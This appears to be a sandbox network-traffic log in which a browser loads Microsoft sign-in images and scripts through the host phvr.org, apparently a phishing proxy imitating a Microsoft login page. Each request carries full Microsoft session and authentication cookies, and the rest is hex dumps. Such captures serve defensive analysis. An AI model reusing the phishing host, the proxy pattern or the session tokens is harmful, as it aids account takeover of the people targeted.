esctx=PAQABBwEAAAApTwJmzXqdR4BN2miheQMYHV7FYJ0tG9Z8bti6bgPk_xWhq7TQsk8_lTLhQ2H6JS98w_bDYQekYbb7T_l5DqC27WqESSf6nBU0TkqytuB5YXANBz8LImiT9XUjHi6BPSaWrN7NgpyDdRCn32ARjt6Mczu94SsXVINMR2MZbZwGelA9yAaq17V7jUSoOcZfTzQgAA; esctx-mV4bw3rMXwY=AQABCQE [TRUNCATED]
2024-07-03 21:50:45 UTC	1386	IN	HTTP/1.1 200 OK Date: Wed, 03 Jul 2024 21:50:44 GMT Content-Type: application/x-javascript content-length: 113440 Connection: close Cache-Control: public, max-age=31536000 Content-Encoding: gzip Last-Modified: Thu, 26 Jan 2023 00:32:56 GMT ETag: 0x8DAFF34DE8E0647 x-ms-request-id: bd1b0415-d01e-0047-3393-cda80d000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Access-Control-Allow-Origin: * x-azure-ref: 20240703T215044Z-16578db7b5c5dmg5xhfrx2tsu000000006y0000000002w2g x-fd-int-roxy-purgeid: 0 X-Cache: TCP_MISS Accept-Ranges: bytes Content-Security-Policy: default-src * data: blob: filesystem: about: ws: wss: 'unsafe-inline' 'unsafe-eval'; form-action * data: blob: 'unsafe-inline' 'unsafe-eval'; script-src * data: blob: 'unsafe-inline' 'unsafe-eval'; connect-src * data: blob: 'unsafe-inline'; img-src * data: blob: 'unsafe-inline'; frame-src * data: blob: filesystem: ; frame-ancestors 'self' * http://* https://* file://* about: javascript: data: blob: filesystem: ; object-src * data: blob: filesystem: 'unsafe-inline' 'unsafe-eval'; style-src * data: blob: 'unsafe-inline'; font-src * data: blob: 'unsafe-inline';
2024-07-03 21:50:45 UTC	14998	IN	Data Raw: 1f 8b 08 00 00 00 00 00 00 03 e4 bd 79 7f db 38 b2 28 fa ff fd 14 b6 a6 c7 11 db b4 2c 6a 97 6d c6 e3 78 e9 64 a6 bb 93 93 a5 e7 cc c8 ea 0c 45 41 12 db 14 29 93 94 97 c4 9e cf fe aa 0a 3b 29 67 39 e7 9e 7b df ef bd cc 34 4d 14 0a 85 42 01 28 14 0a 05 6a ff c7 ed ff b5 f5 e3 d6 de b7 ff db 7a f7 fe e4 ed fb ad d7 17 5b ef 5f be 7a 7b b6 f5 06 52 ff d8 fa f5 f5 fb 57 a7 e7 df 4e 07 2b c5 ff de 2f a2 7c 6b 16 c5 6c 0b fe 4e 82 9c 4d b7 d2 64 2b cd b6 a2 24 4c b3 55 9a 05 05 cb b7 96 f0 cc a2 20 de 9a 65 e9 72 ab 58 b0 ad 55 96 fe c1 c2 22 df 8a a3 bc 80 42 13 16 a7 b7 5b 75 20 97 4d b7 de 04 59 71 bf f5 ea 8d d3 00 fa 0c a8 45 f3 28 81 d2 61 ba ba 87 f7 45 b1 95 a4 45 14 b2 ad 20 99 12 b5 18 12 49 ce b6 d6 c9 94 65 5b b7 8b 28 5c 6c fd 12 85 59 9a a7 b3 62 Data Ascii: y8(,jmxdEA);)g9{4MB(jz[_z{RWN+/\|klNMd+$LU erXU"B[u MYqE(aEE Ie[(\lYb
2024-07-03 21:50:45 UTC	1386	IN	Data Raw: 8c 18 4b 2e 7f 23 4f c5 54 f2 9e c4 9c ea 45 a8 8e 99 55 be 9f 14 ca cc 0d 17 9b 86 32 af 72 6f 69 a8 da 5c be 9d d4 33 32 c4 ec 08 5a 06 cc 16 9d 6a 6b f5 82 52 a8 0a 6d 38 20 2c e7 49 7b a8 5d ce b0 ee 28 a9 ae d8 70 49 89 be 80 21 32 2b 6c 86 3a af d2 bf 9d 72 9e d4 56 4c 66 54 8a b4 ed 1c bb 0b e5 e7 23 f9 bd 9b 0c 2f b6 97 be 90 47 6a d0 bc 16 42 1d 1c 1b 41 e5 d4 a9 b1 0a 21 27 fd 52 b9 a9 e1 29 a8 05 49 8c 9f 1a a1 b5 c5 bc 46 31 e5 00 7d 8d 82 63 18 d7 28 48 d3 9b 57 01 7a 1c 50 32 06 49 04 86 31 c8 09 9b 97 00 38 65 cb 4b 42 fd 87 bb 32 eb 13 13 43 3a cd cf 78 95 8e 78 55 de 46 ba d2 97 ad ec 93 3c b2 47 cc 50 7d 9a fe d5 4b 7f 34 3c ad 50 7b ea 93 8a 31 4a fa c1 08 b5 e7 e5 d4 ba 45 5a d2 4e 66 3c 70 7e cc 5f f5 22 38 94 80 cc 82 58 21 ec d4 bb Data Ascii: K.#OTEU2roi\32ZjkRm8 ,I{](pI!2+l:rVLfT#/GjBA!'R)IF1}c(HWzP2I18eKB2C:xxUF<GP}K4<P{1JEZNf<p~_"8X!
2024-07-03 21:50:45 UTC	7698	IN	Data Raw: f7 32 26 6a ea 49 d8 8d 0d 89 c2 2b fb b6 e8 40 82 4b 06 7d e5 de 61 77 76 29 3f 4e 5c b9 54 38 e4 44 8c 9f 2e e1 90 2b 1d ca c8 eb a9 d4 f2 f2 f5 db 5f f9 08 61 84 20 7e 13 e9 8e 1c 45 45 f9 f7 ec 4c e5 da 56 00 2b 1c bc 2d a1 95 40 f1 ae cc b1 a2 c4 89 2f f4 8d 28 83 39 e0 dd 45 30 81 45 db 11 e5 41 b9 23 f5 41 49 f5 81 4b 8e 60 7f ce b5 48 99 3c d0 a0 9d 62 91 ae 26 72 3c b5 69 f3 0a 10 e3 5a b7 c7 21 b2 4e ea f8 8a 71 3e e1 48 25 e3 bc 2b a0 2a f0 23 20 6f 60 91 e6 8a 03 ea 11 eb d0 9c c6 60 16 48 59 f0 af f2 bf 7f 7b 72 76 6e 02 0a cb 65 da 25 d7 90 84 69 57 33 ff 3d a8 6a b4 2d ff f2 c1 c6 60 db 49 c7 c8 51 ce ca d0 00 1a 01 b8 dc 47 b5 39 fe 56 b2 a4 26 6b 97 09 2a ac 44 d5 d8 c9 05 e4 9a 7b 9f 45 2b e3 b7 9e c5 2c 47 a0 c6 13 15 e7 6a ff 34 e5 80 Data Ascii: 2&jI+@K}awv)?N\T8D.+_a ~EELV+-@/(9E0EA#AIK`H<b&r<iZ!Nq>H%+# o``HY{rvne%iW3=j-`IQG9V&kD{E+,Gj4
2024-07-03 21:50:45 UTC	8686	IN	Data Raw: a7 bd 6f 6d 6e db 58 16 fc be bf 42 62 6c 19 30 40 f1 a1 87 23 92 20 a3 6b 3b bb ae ca b9 71 25 b9 f7 c3 21 69 1e 90 04 49 44 20 c0 00 a4 1e 16 b8 bf 7d bb 7b de 00 28 c9 3e f7 d4 dd da da 54 2c 02 83 79 f6 f4 f4 f4 f4 f4 43 5d 10 64 db 87 88 3c 72 06 f7 db ba 1f 85 cb b8 53 73 30 db 78 6c 8c f1 c0 cd aa b6 0e dc b5 71 a7 6a f4 42 48 fd b1 1b 28 1e 60 97 6b da 08 65 86 94 32 b8 45 68 a9 0a 08 5c ec a0 06 44 b6 bb c2 ad fd d8 3a 44 57 bb 2b 21 11 c2 b3 33 42 cb dd 78 0f 12 5a bd 0d 41 0c cf ce 30 10 40 fa 15 b2 19 30 c0 c7 f7 86 92 fb 7b ae 90 4c ab 9f 2d 8f 95 5c 1e ea db 13 94 9b e5 c1 8e fc 57 2e 86 15 ee 75 4e 1b ef 3c 34 88 4d 93 f9 83 9c 78 7c 51 68 33 05 c4 71 da 80 90 f6 0b 50 6c e5 ae 14 8a cd 8b b8 a5 50 78 fe af c3 ad 81 86 60 a8 69 7a 10 c7 34 Data Ascii: omnXBbl0@# k;q%!iID }{(>T,yC]d<rSs0xlqjBH(`ke2Eh\D:DW+!3BxZA0@0{L-\W.uN<4Mx\|Qh3qPlPx`iz4
2024-07-03 21:50:45 UTC	3024	IN	Data Raw: 8d c1 54 40 2b 36 a1 05 40 d0 cf 11 6c fc 31 ef 4c ac 8d 3f d4 52 9b df 02 15 48 f1 b8 e9 b7 4c 3b 39 09 fb 15 50 a8 04 a0 18 d6 cb e0 18 da 45 ca 0a a3 37 29 83 d8 cd 0f d1 19 b5 e1 8b a5 5c a6 2c 62 35 96 ae 02 cc 05 a2 33 3f e6 76 3a 1e 3c 9f 45 f2 89 50 39 bb 16 b2 3b 85 b1 d0 4c 96 af f4 bc 26 45 ae ee 96 20 21 11 c7 a0 81 9e 87 4e a2 b9 a2 1d 43 0c 8c 5e e0 6e bd aa 49 d2 cc a7 b6 03 25 ce e9 04 5d 49 ac 30 1a b5 5d ae 2f 06 1c e2 d9 2b ea 75 b7 4e 55 7b 4a 4c c4 70 6e 90 b2 73 97 39 27 78 72 ae de a8 b9 f0 38 cc d8 75 19 9c 47 82 0e 6c 43 28 f4 36 f7 3f e3 0d af 92 66 3e 4e 3e f0 6d e9 d6 aa e0 79 cd 19 0f f0 b0 38 dc d6 5b c4 e4 a6 c1 6d 90 12 db a4 ef 75 76 a7 d0 a4 80 9e 7d 70 eb 6d 9a 15 98 a3 ae 3a 2b 21 27 c9 16 0f a9 44 20 df c5 48 70 a3 81 Data Ascii: T@+6@l1L?RHL;9PE7)\,b53?v:<EP9;L&E !NC^nI%]I0]/+uNU{JLpns9'xr8uGlC(6?f>N>my8[muv}pm:+!'D Hp

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
40	192.168.2.4	49793	185.143.223.70	443	1456	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-03 21:50:44 UTC	1700	OUT	GET /aadcdn.msauth.net/~/shared/1.0/content/images/appbackgrounds/49-small_e58aafc980614a9cd7796bea7b5ea8f0.jpg HTTP/1.1 Host: phvr.org Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: qPdM=jf7YXdIMEkHJ; qPdM.sig=JzExGlp4bLAx1cNMyhVmMjKQCYw; ClientId=8DD7D1DBE24E4DA7A257935551B595D8; OIDC=1; OpenIdConnect.nonce.v3.r4de45POxQ3HJYiJGcLMQCWXDACqZRwI8GYEzI6XDak=638556402377074218.0f55fe7d-bec8-4e47-85c7-9c97e67b1890; X-OWA-RedirectHistory=ArLym14BKqa8LKqb3Ag; esctx-3irMWGpLqqA=AQABCQEAAAApTwJmzXqdR4BN2miheQMYuCbasr6VflTvI7fdGUB8JXyH5-fw56k8A20F-Yv3Z_-TJtNxn04gZWTQOhb-abVo4kaTpyjZH-6gAsGiY4Yn9Zz-EfNhWeRCo8Btrsa_WLU9m1qolxBTOGg9FeJRC5CFUQq4uzgbcumI-A1nZua-LyAA; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1; buid=0.ASkAMe_N-B6jSkuT5F9XHpElWgIAAAAAAPEPzgAAAAAAAAABAAA.AQABGgEAAAApTwJmzXqdR4BN2miheQMYJJawS2XnqoM9dVpUOBTer35wMkYYd4wNnB5aJVoq4OFJ1D4MyfoygEID6e-bHijZ_nlkC4gL67pjZSnQZ2wSVemaqPCSUQemO5pmi1PRjXwgAA; esctx=PAQABBwEAAAApTwJmzXqdR4BN2miheQMYHV7FYJ0tG9Z8bti6bgPk_xWhq7TQsk8_lTLhQ2H6JS98w_bDYQekYbb7T_l5DqC27WqESSf6nBU0TkqytuB5YXANBz8LImiT9XUjHi6BPSaWrN7NgpyDdRCn32ARjt6Mczu94SsXVINMR2MZbZwGelA9yAaq17V7jUSoOcZfTzQgAA; esctx-mV4bw3rMXwY=AQABCQE [TRUNCATED]
2024-07-03 21:50:44 UTC	755	IN	HTTP/1.1 200 OK Date: Wed, 03 Jul 2024 21:50:44 GMT Content-Type: image/jpeg Content-Length: 987 Connection: close Cache-Control: public, max-age=31536000 Last-Modified: Fri, 27 Mar 2020 19:41:47 GMT ETag: 0x8D7D286E322A911 x-ms-request-id: e9cda391-601e-001f-52b1-cb7052000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Access-Control-Allow-Origin: * x-azure-ref: 20240703T215044Z-16578db7b5c9fbh6e53bcwtse800000006sg00000000mxnf x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-07-03 21:50:44 UTC	987	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 48 00 48 00 00 ff e1 00 66 45 78 69 66 00 00 4d 4d 00 2a 00 00 00 08 00 04 01 1a 00 05 00 00 00 01 00 00 00 3e 01 1b 00 05 00 00 00 01 00 00 00 46 01 28 00 03 00 00 00 01 00 02 00 00 01 31 00 02 00 00 00 10 00 00 00 4e 00 00 00 00 00 00 00 48 00 00 00 01 00 00 00 48 00 00 00 01 70 61 69 6e 74 2e 6e 65 74 20 34 2e 32 2e 39 00 ff db 00 43 00 02 01 01 01 01 01 02 01 01 01 02 02 02 02 02 04 03 02 02 02 02 05 04 04 03 04 06 05 06 06 06 05 06 06 06 07 09 08 06 07 09 07 06 06 08 0b 08 09 0a 0a 0a 0a 0a 06 08 0b 0c 0b 0a 0c 09 0a 0a 0a ff db 00 43 01 02 02 02 02 02 02 05 03 03 05 0a 07 06 07 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a Data Ascii: JFIFHHfExifMM*>F(1NHHpaint.net 4.2.9CC

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
41	192.168.2.4	49794	185.143.223.70	443	1456	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-03 21:50:44 UTC	1688	OUT	GET /aadcdn.msauth.net/~/shared/1.0/content/images/applogos/53_8b36337037cff88c3df203bb73d58e41.png HTTP/1.1 Host: phvr.org Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: qPdM=jf7YXdIMEkHJ; qPdM.sig=JzExGlp4bLAx1cNMyhVmMjKQCYw; ClientId=8DD7D1DBE24E4DA7A257935551B595D8; OIDC=1; OpenIdConnect.nonce.v3.r4de45POxQ3HJYiJGcLMQCWXDACqZRwI8GYEzI6XDak=638556402377074218.0f55fe7d-bec8-4e47-85c7-9c97e67b1890; X-OWA-RedirectHistory=ArLym14BKqa8LKqb3Ag; esctx-3irMWGpLqqA=AQABCQEAAAApTwJmzXqdR4BN2miheQMYuCbasr6VflTvI7fdGUB8JXyH5-fw56k8A20F-Yv3Z_-TJtNxn04gZWTQOhb-abVo4kaTpyjZH-6gAsGiY4Yn9Zz-EfNhWeRCo8Btrsa_WLU9m1qolxBTOGg9FeJRC5CFUQq4uzgbcumI-A1nZua-LyAA; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1; buid=0.ASkAMe_N-B6jSkuT5F9XHpElWgIAAAAAAPEPzgAAAAAAAAABAAA.AQABGgEAAAApTwJmzXqdR4BN2miheQMYJJawS2XnqoM9dVpUOBTer35wMkYYd4wNnB5aJVoq4OFJ1D4MyfoygEID6e-bHijZ_nlkC4gL67pjZSnQZ2wSVemaqPCSUQemO5pmi1PRjXwgAA; esctx=PAQABBwEAAAApTwJmzXqdR4BN2miheQMYHV7FYJ0tG9Z8bti6bgPk_xWhq7TQsk8_lTLhQ2H6JS98w_bDYQekYbb7T_l5DqC27WqESSf6nBU0TkqytuB5YXANBz8LImiT9XUjHi6BPSaWrN7NgpyDdRCn32ARjt6Mczu94SsXVINMR2MZbZwGelA9yAaq17V7jUSoOcZfTzQgAA; esctx-mV4bw3rMXwY=AQABCQE [TRUNCATED]
2024-07-03 21:50:44 UTC	755	IN	HTTP/1.1 200 OK Date: Wed, 03 Jul 2024 21:50:44 GMT Content-Type: image/png Content-Length: 5139 Connection: close Cache-Control: public, max-age=31536000 Last-Modified: Wed, 12 Feb 2020 03:12:12 GMT ETag: 0x8D7AF695A8C44DC x-ms-request-id: d9554cb7-401e-005e-3cb1-cb24b0000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Access-Control-Allow-Origin: * x-azure-ref: 20240703T215044Z-16578db7b5cdp59s4pqff2syh000000006z0000000000a0a x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-07-03 21:50:44 UTC	5139	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 01 56 00 00 00 48 08 06 00 00 00 ad 04 dd dc 00 00 00 19 74 45 58 74 53 6f 66 74 77 61 72 65 00 41 64 6f 62 65 20 49 6d 61 67 65 52 65 61 64 79 71 c9 65 3c 00 00 03 25 69 54 58 74 58 4d 4c 3a 63 6f 6d 2e 61 64 6f 62 65 2e 78 6d 70 00 00 00 00 00 3c 3f 78 70 61 63 6b 65 74 20 62 65 67 69 6e 3d 22 ef bb bf 22 20 69 64 3d 22 57 35 4d 30 4d 70 43 65 68 69 48 7a 72 65 53 7a 4e 54 63 7a 6b 63 39 64 22 3f 3e 20 3c 78 3a 78 6d 70 6d 65 74 61 20 78 6d 6c 6e 73 3a 78 3d 22 61 64 6f 62 65 3a 6e 73 3a 6d 65 74 61 2f 22 20 78 3a 78 6d 70 74 6b 3d 22 41 64 6f 62 65 20 58 4d 50 20 43 6f 72 65 20 35 2e 36 2d 63 31 34 38 20 37 39 2e 31 36 34 30 33 36 2c 20 32 30 31 39 2f 30 38 2f 31 33 2d 30 31 3a 30 36 3a 35 37 20 20 Data Ascii: PNGIHDRVHtEXtSoftwareAdobe ImageReadyqe<%iTXtXML:com.adobe.xmp<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c148 79.164036, 2019/08/13-01:06:57

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
42	192.168.2.4	49792	185.143.223.70	443	1456	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-03 21:50:44 UTC	1694	OUT	GET /aadcdn.msauth.net/~/shared/1.0/content/images/appbackgrounds/49_7916a894ebde7d29c2cc29b267f1299f.jpg HTTP/1.1 Host: phvr.org Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: qPdM=jf7YXdIMEkHJ; qPdM.sig=JzExGlp4bLAx1cNMyhVmMjKQCYw; ClientId=8DD7D1DBE24E4DA7A257935551B595D8; OIDC=1; OpenIdConnect.nonce.v3.r4de45POxQ3HJYiJGcLMQCWXDACqZRwI8GYEzI6XDak=638556402377074218.0f55fe7d-bec8-4e47-85c7-9c97e67b1890; X-OWA-RedirectHistory=ArLym14BKqa8LKqb3Ag; esctx-3irMWGpLqqA=AQABCQEAAAApTwJmzXqdR4BN2miheQMYuCbasr6VflTvI7fdGUB8JXyH5-fw56k8A20F-Yv3Z_-TJtNxn04gZWTQOhb-abVo4kaTpyjZH-6gAsGiY4Yn9Zz-EfNhWeRCo8Btrsa_WLU9m1qolxBTOGg9FeJRC5CFUQq4uzgbcumI-A1nZua-LyAA; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1; buid=0.ASkAMe_N-B6jSkuT5F9XHpElWgIAAAAAAPEPzgAAAAAAAAABAAA.AQABGgEAAAApTwJmzXqdR4BN2miheQMYJJawS2XnqoM9dVpUOBTer35wMkYYd4wNnB5aJVoq4OFJ1D4MyfoygEID6e-bHijZ_nlkC4gL67pjZSnQZ2wSVemaqPCSUQemO5pmi1PRjXwgAA; esctx=PAQABBwEAAAApTwJmzXqdR4BN2miheQMYHV7FYJ0tG9Z8bti6bgPk_xWhq7TQsk8_lTLhQ2H6JS98w_bDYQekYbb7T_l5DqC27WqESSf6nBU0TkqytuB5YXANBz8LImiT9XUjHi6BPSaWrN7NgpyDdRCn32ARjt6Mczu94SsXVINMR2MZbZwGelA9yAaq17V7jUSoOcZfTzQgAA; esctx-mV4bw3rMXwY=AQABCQE [TRUNCATED]
2024-07-03 21:50:44 UTC	757	IN	HTTP/1.1 200 OK Date: Wed, 03 Jul 2024 21:50:44 GMT Content-Type: image/jpeg Content-Length: 17453 Connection: close Cache-Control: public, max-age=31536000 Last-Modified: Fri, 27 Mar 2020 19:41:47 GMT ETag: 0x8D7D286E30A1202 x-ms-request-id: ac720426-a01e-007c-76b1-cbe387000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Access-Control-Allow-Origin: * x-azure-ref: 20240703T215044Z-16578db7b5czzdqqwvuxzrwrsg00000007w0000000003dru x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-07-03 21:50:44 UTC	15627	IN	Data Raw: ff d8 ff e1 09 50 68 74 74 70 3a 2f 2f 6e 73 2e 61 64 6f 62 65 2e 63 6f 6d 2f 78 61 70 2f 31 2e 30 2f 00 3c 3f 78 70 61 63 6b 65 74 20 62 65 67 69 6e 3d 22 ef bb bf 22 20 69 64 3d 22 57 35 4d 30 4d 70 43 65 68 69 48 7a 72 65 53 7a 4e 54 63 7a 6b 63 39 64 22 3f 3e 20 3c 78 3a 78 6d 70 6d 65 74 61 20 78 6d 6c 6e 73 3a 78 3d 22 61 64 6f 62 65 3a 6e 73 3a 6d 65 74 61 2f 22 20 78 3a 78 6d 70 74 6b 3d 22 41 64 6f 62 65 20 58 4d 50 20 43 6f 72 65 20 35 2e 36 2d 63 31 34 32 20 37 39 2e 31 36 30 39 32 34 2c 20 32 30 31 37 2f 30 37 2f 31 33 2d 30 31 3a 30 36 3a 33 39 20 20 20 20 20 20 20 20 22 3e 20 3c 72 64 66 3a 52 44 46 20 78 6d 6c 6e 73 3a 72 64 66 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 30 32 2f 32 32 2d 72 64 66 2d 73 79 6e Data Ascii: Phttp://ns.adobe.com/xap/1.0/<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c142 79.160924, 2017/07/13-01:06:39 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syn
2024-07-03 21:50:44 UTC	1826	IN	Data Raw: 04 11 40 00 01 00 14 01 40 00 00 10 01 40 14 40 00 00 50 00 00 04 00 00 05 00 45 00 00 05 00 00 01 00 05 50 00 00 04 00 00 05 1f ff d3 db c0 6d cd 05 45 00 00 00 04 50 1c 8a 02 00 00 00 00 04 48 aa 0e 45 15 10 00 00 00 00 00 04 82 80 90 50 10 00 04 01 44 14 51 14 10 51 11 05 01 05 40 00 00 00 00 15 40 00 00 00 40 54 50 42 28 00 00 00 00 00 00 00 02 80 00 00 00 20 00 02 a2 8a 00 00 00 00 0a 02 00 00 00 02 28 00 8a 80 00 a0 02 0a 08 a8 28 08 a0 00 02 80 a8 22 80 88 a0 2a 28 00 02 00 28 20 a2 08 28 08 00 02 88 00 0a 82 80 8a 00 00 8a 00 00 08 00 00 02 00 00 00 0a 00 a8 a8 a0 82 a2 00 00 00 8a 00 a0 02 00 02 80 20 00 00 00 00 80 00 00 22 a0 a0 20 00 2a 2a 00 02 8a 80 8a 20 82 88 00 00 00 0a 00 a0 00 00 08 02 a8 8a 02 00 28 00 80 02 80 02 00 00 02 82 2a 28 00 Data Ascii: @@@@PEPmEPHEPDQQ@@@TPB( (("(( ( " * (*(

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
43	192.168.2.4	49791	185.143.223.70	443	1456	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-03 21:50:44 UTC	1691	OUT	GET /aadcdn.msauth.net/~/shared/1.0/content/images/microsoft_logo_ee5c8d9fb6248c938fd0dc19370e90bd.svg HTTP/1.1 Host: phvr.org Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: qPdM=jf7YXdIMEkHJ; qPdM.sig=JzExGlp4bLAx1cNMyhVmMjKQCYw; ClientId=8DD7D1DBE24E4DA7A257935551B595D8; OIDC=1; OpenIdConnect.nonce.v3.r4de45POxQ3HJYiJGcLMQCWXDACqZRwI8GYEzI6XDak=638556402377074218.0f55fe7d-bec8-4e47-85c7-9c97e67b1890; X-OWA-RedirectHistory=ArLym14BKqa8LKqb3Ag; esctx-3irMWGpLqqA=AQABCQEAAAApTwJmzXqdR4BN2miheQMYuCbasr6VflTvI7fdGUB8JXyH5-fw56k8A20F-Yv3Z_-TJtNxn04gZWTQOhb-abVo4kaTpyjZH-6gAsGiY4Yn9Zz-EfNhWeRCo8Btrsa_WLU9m1qolxBTOGg9FeJRC5CFUQq4uzgbcumI-A1nZua-LyAA; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1; buid=0.ASkAMe_N-B6jSkuT5F9XHpElWgIAAAAAAPEPzgAAAAAAAAABAAA.AQABGgEAAAApTwJmzXqdR4BN2miheQMYJJawS2XnqoM9dVpUOBTer35wMkYYd4wNnB5aJVoq4OFJ1D4MyfoygEID6e-bHijZ_nlkC4gL67pjZSnQZ2wSVemaqPCSUQemO5pmi1PRjXwgAA; esctx=PAQABBwEAAAApTwJmzXqdR4BN2miheQMYHV7FYJ0tG9Z8bti6bgPk_xWhq7TQsk8_lTLhQ2H6JS98w_bDYQekYbb7T_l5DqC27WqESSf6nBU0TkqytuB5YXANBz8LImiT9XUjHi6BPSaWrN7NgpyDdRCn32ARjt6Mczu94SsXVINMR2MZbZwGelA9yAaq17V7jUSoOcZfTzQgAA; esctx-mV4bw3rMXwY=AQABCQE [TRUNCATED]
2024-07-03 21:50:44 UTC	800	IN	HTTP/1.1 200 OK Date: Wed, 03 Jul 2024 21:50:44 GMT Content-Type: image/svg+xml Content-Length: 1435 Connection: close Cache-Control: public, max-age=31536000 Content-Encoding: gzip Last-Modified: Fri, 17 Jan 2020 19:28:38 GMT ETag: 0x8D79B8373CB2849 x-ms-request-id: 1223fc77-201e-000e-0fb1-cbeae6000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Access-Control-Allow-Origin: * x-azure-ref: 20240703T215044Z-16578db7b5c27bz6z3k4tnywyw00000005w0000000007svd x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-07-03 21:50:44 UTC	1435	IN	Data Raw: 1f 8b 08 00 00 00 00 00 04 00 bd 57 4d 6f 1c 37 0c fd 2b 8b ed 75 56 96 48 4a a2 0a db 80 7b f2 c1 be fa 90 db b6 b1 b3 06 ec 26 88 17 76 fa ef fb 28 51 b3 46 91 a2 c9 a5 b0 f7 61 57 1c 51 fc 7c e2 9c bf bc 7e da 7c 7b 7e fa f3 e5 62 7b 38 1e bf fc 7a 76 f6 f6 f6 16 de 38 7c fe fa e9 8c 62 8c 67 78 62 bb 79 7b fc 78 3c 5c 6c 53 d4 ed e6 70 ff f8 e9 70 bc d8 92 6c 37 af 8f f7 6f bf 7d fe 76 b1 8d 9b b8 81 74 83 c5 cb f3 e3 e3 f1 e9 fe 72 ff f2 72 7f 7c 39 3f 1b bf ce bf ec 8f 87 cd c7 8b ed ad 48 50 2e 8b 84 72 97 34 c8 61 47 41 ee 6a c8 ca d7 82 af 37 ac 21 a5 b6 98 ec 9a 4b c8 9c 6e 98 42 12 5a fa 43 87 5d 88 d4 fa d6 6b 6a a1 dd 41 d1 81 83 70 b9 e1 1a 78 49 a6 fe 